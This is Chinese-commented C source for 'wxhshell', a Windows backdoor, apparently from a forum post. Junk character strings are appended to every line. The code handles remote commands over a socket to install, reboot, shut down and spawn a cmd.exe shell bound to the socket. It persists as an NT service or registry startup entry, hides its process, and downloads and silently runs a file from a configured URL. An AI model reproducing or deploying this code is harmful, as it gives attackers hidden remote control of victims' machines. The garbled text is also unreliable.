    switch(cmd[0]) { DC0O N`  
  ?*'0;K13  
  // 帮助 K?>sP%m)  
  case '?': { 9(lcQuE9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RV%)~S@!R  
    break; vb3hDy  
  } 8WC _CAP  
  // 安装 svtqX-Vj"  
  case 'i': { ?%$~Bb _  
    if(Install()) yYdh+x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d '\ ^S}  
    else 0 gR_1~3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S }qGf%  
    break; rA}mp]  
    } k+~2 vmS  
  // 卸载 *0'< DnGW  
  case 'r': { 3 6t^iV*3  
    if(Uninstall()) BDLJDyf B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g!^mewtd  
    else _} K3}}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uw(Ml=  
    break; Gh 352  
    } 3gtKD9RL:  
  // 显示 wxhshell 所在路径 -B#K}xL|x  
  case 'p': { 1 ]ePU8  
    char svExeFile[MAX_PATH]; m$7C{Mr'  
    strcpy(svExeFile,"\n\r"); HhwAzk/G~  
      strcat(svExeFile,ExeFile); ,\N4tG1\  
        send(wsh,svExeFile,strlen(svExeFile),0); MHJRBn{}  
    break; O+]'*~a  
    } 1C0' Gf)3  
  // 重启 XW~a4If  
  case 'b': { LMuDda  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #Y'ewu;qJ  
    if(Boot(REBOOT)) p-H}NQ\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T[MDjhv'  
    else { tToP7q^  
    closesocket(wsh); \UZ7_\  
    ExitThread(0); [}l#cG6 k  
    } RDEK=^J  
    break; c )=a;_h  
    } 4vV\vXT*  
  // 关机 KY?ujeF  
  case 'd': { fNBI!=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {7%(m|(  
    if(Boot(SHUTDOWN)) G++<r7;x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t#w,G  
    else { g!OcWy)7  
    closesocket(wsh); `26.+>Z7  
    ExitThread(0); M*D@zb0ia  
    } 15OzO.Ud  
    break; E&f/*V^  
    } PcI~,e%  
  // 获取shell V Ds0+RC  
  case 's': { Q\N >W+d  
    CmdShell(wsh); 2#N?WlYw<S  
    closesocket(wsh); &MPlSIg  
    ExitThread(0); E<7$!P=z`  
    break; 9Ais)Wy%p  
  } 2sp4Mm  
  // 退出 -)xl?IB%  
  case 'x': { (p] S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rV} 5&N*c  
    CloseIt(wsh); iJ @p:  
    break; ,C|{_4  
    } z[K)0@8 6  
  // 离开 /IF?|71,m  
  case 'q': { ^m AxV7k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >pe!T aBN  
    closesocket(wsh); | GN/{KH]  
    WSACleanup(); p_)ttcpi1  
    exit(1); 9$D}j"  
    break; fIJX5)D  
        } + R~ !G  
  } y=Z[_L!xr  
  } &WOm[]Q4  
lCTXl5J5  
  // 提示信息 mq(-L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?FwHqyFVlQ  
} L >)|l  
  } W8r"dK  
bZ^'_OOn  
  return; Rt5pl,Nf  
} v6Wz:|G/u  
'K01"`#  
// shell模块句柄 Z#D*HAd`  
int CmdShell(SOCKET sock) (:\L@j  
{ 1/&^~'  
STARTUPINFO si; C ](djkA$  
ZeroMemory(&si,sizeof(si)); pG'?>]Rt4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2EYWX! Bx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y*{5'q+2  
PROCESS_INFORMATION ProcessInfo; c *<m.  
char cmdline[]="cmd"; 1_l)$"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pF9WKpzE  
  return 0; u:tcL-;U  
} ei"c|/pO  
[j0jAl  
// 自身启动模式 J8ScKMUN2  
int StartFromService(void) @(+\*]?^&  
{ \DWKG~r-%  
typedef struct e+:X%a4\  
{ A/"2a55  
  DWORD ExitStatus; 'St?nW3  
  DWORD PebBaseAddress; /Ak\Q5O'3  
  DWORD AffinityMask; <0? r# }  
  DWORD BasePriority; rY8(`a  
  ULONG UniqueProcessId; S9ic4rcd  
  ULONG InheritedFromUniqueProcessId; rBi6AM/  
}   PROCESS_BASIC_INFORMATION; K\zb+  
} E[vW  
PROCNTQSIP NtQueryInformationProcess;  dvz6  
3\{\ al   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zg0nsNA   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $!TMS&Wk  
4mtO"'|  
  HANDLE             hProcess; ?$uEN_1O\@  
  PROCESS_BASIC_INFORMATION pbi; rixVIfVF  
uH,/S4?X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R(,m!  
  if(NULL == hInst ) return 0; mAET`B "  
mN.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S)W?W}*R\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ecO$L<9>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;PnN$g]Q  
R3.w")6  
  if (!NtQueryInformationProcess) return 0; f`_{SU"3  
f9 :=6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w'XSkI_ay  
  if(!hProcess) return 0; 3<N2ehi?  
{v|ib112;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F!Cn'*  
<a&xhG}  
  CloseHandle(hProcess); _HjB'XNr(  
SuNc&e#(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 33wVP}e5  
if(hProcess==NULL) return 0; MPn/"Fij$  
+$xw0)|  
HMODULE hMod; 7i'clB9!  
char procName[255]; )s4: &!  
unsigned long cbNeeded; N}<!k#d E  
~ 4Mz:h^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <|]i3_Z  
U2tgBF?)A  
  CloseHandle(hProcess); r`.Bj0  
j]` hy"  
if(strstr(procName,"services")) return 1; // 以服务启动 ~D`R"vzw=  
uFhPNR2l  
  return 0; // 注册表启动 jTZi< Y:bB  
} 9j5|o([J  
GoH.0eQ^  
// 主模块 dm40qj  
int StartWxhshell(LPSTR lpCmdLine)  TU6YS<  
{ aY;34SF  
  SOCKET wsl; "gzn%k[D9m  
BOOL val=TRUE; vu}U2 0@  
  int port=0; !0UfX{.  
  struct sockaddr_in door; 1zw,;m n  
m7Ry FnR2  
  if(wscfg.ws_autoins) Install(); .j"heYF)  
x\yr~$}(J  
port=atoi(lpCmdLine); ;]=@;? 9  
JUXBMYFus  
if(port<=0) port=wscfg.ws_port; !0|&f>y  
L<XX?I\p  
  WSADATA data; [+#k+*1*o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \ bWy5/+  
wZbT*rU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $sZ4r>-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z#[%JUYp'  
  door.sin_family = AF_INET; +ZGH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c* ~0R?  
  door.sin_port = htons(port); *~cNUyd  
Ux{QYjF E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { heB![N0:  
closesocket(wsl); fA0wQz]u  
return 1; 4 >H0a  
} U3v~R4  
X56q ,jCJ{  
  if(listen(wsl,2) == INVALID_SOCKET) { nD>X?yz2  
closesocket(wsl); :_2:Fh.}3~  
return 1; Dq9f Fe  
} hkV*UH{  
  Wxhshell(wsl); W<[7LdAB  
  WSACleanup();  j0O1??  
/L2n ~/  
return 0; mo= @Zt  
<7B;_3/  
} $Fy~xMA8O  
G&MO(r}B  
// 以NT服务方式启动 M9Yov4k,4]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  G;A  
{ ]W%rhppC  
DWORD   status = 0; qoZAZ&|HI  
  DWORD   specificError = 0xfffffff; u`oJ3mS;  
<Hz11 }<(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CDW| cr{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p)"EenUK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u:J4Az^!  
  serviceStatus.dwWin32ExitCode     = 0; 6W7,EIf  
  serviceStatus.dwServiceSpecificExitCode = 0; :0Y.${h  
  serviceStatus.dwCheckPoint       = 0; d(9SkXr  
  serviceStatus.dwWaitHint       = 0; 'd;aAG  
)cZ KB0*+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W?.xtQEv  
  if (hServiceStatusHandle==0) return; EG8z&^O x  
vl|3WYA  
status = GetLastError(); z~v-8aw  
  if (status!=NO_ERROR) k<f0moxs'  
{ F8{T/YhZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 66+]D4(k  
    serviceStatus.dwCheckPoint       = 0; 9)j"|5H  
    serviceStatus.dwWaitHint       = 0; RC8-6s& ln  
    serviceStatus.dwWin32ExitCode     = status; sk~7"v{Y.  
    serviceStatus.dwServiceSpecificExitCode = specificError; -XkjO$=!=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); = 1d$x:  
    return; Et}%sdS  
  }  #.Ly  
4"{g{8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; //Xz  
  serviceStatus.dwCheckPoint       = 0; $U. 2"  
  serviceStatus.dwWaitHint       = 0; dr(e)eD(R>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W&Xi &[Ux  
} 5"q{b1  
KpS=oFX{}  
// 处理NT服务事件,比如:启动、停止 !}1l8Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y] Cx[  
{ ]#q$i[Y  
switch(fdwControl) Aqg$q* Y  
{ ?9 `T_,  
case SERVICE_CONTROL_STOP: a<+Rw{  
  serviceStatus.dwWin32ExitCode = 0; q?L*Luu+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  wJvk  
  serviceStatus.dwCheckPoint   = 0; G`;mSq6i  
  serviceStatus.dwWaitHint     = 0; F%{z E ANm  
  { U^-J_ yq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wjOqCF"  
  } ;[Eso p  
  return; qzo)\,  
case SERVICE_CONTROL_PAUSE: ?q5HAIZ`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JKCV >k  
  break; Vt9o8naz  
case SERVICE_CONTROL_CONTINUE: mcQ\"9;pY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6jl{^dI  
  break; AJRiwP|H+  
case SERVICE_CONTROL_INTERROGATE: }2Im?Q  
  break; 8-K4*(-dL  
}; YsO`1D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O&">%aU1I  
} v57Kr ,  
do%.KIk  
// 标准应用程序主函数 6skd>v UU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eMH\]A~v"  
{ *\Hut'7 d  
U?(,Z$:N  
// 获取操作系统版本 p4b6TI9;  
OsIsNt=GetOsVer(); :4COPUBpPV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \D[~54  
L;KLmxy#  
  // 从命令行安装 9@*4^Ks p  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^1--7#H  
2Paw*"U  
  // 下载执行文件 #KtV4)(  
if(wscfg.ws_downexe) { P|aSbsk:I<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FOcDBCrOe  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;:Kc{B.s  
} q93V'[)F  
i{J[;rV9  
if(!OsIsNt) { >>=v`}  
// 如果时win9x,隐藏进程并且设置为注册表启动 E 6!V0D  
HideProc(); ^$lsmF]^  
StartWxhshell(lpCmdLine); o`}8ZtD  
} 2TaHWw<A  
else Ax!fvcsN  
  if(StartFromService()) O}7aX '  
  // 以服务方式启动 \l 3M\$oS>  
  StartServiceCtrlDispatcher(DispatchTable); `k08M)  
else TR{dNO!q  
  // 普通方式启动 ayA_[{j%X  
  StartWxhshell(lpCmdLine); :!,.c $M  
81wmKqDEs  
return 0; eA/}$.R  
}
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只看该作者 1 发表于: 2006-10-10
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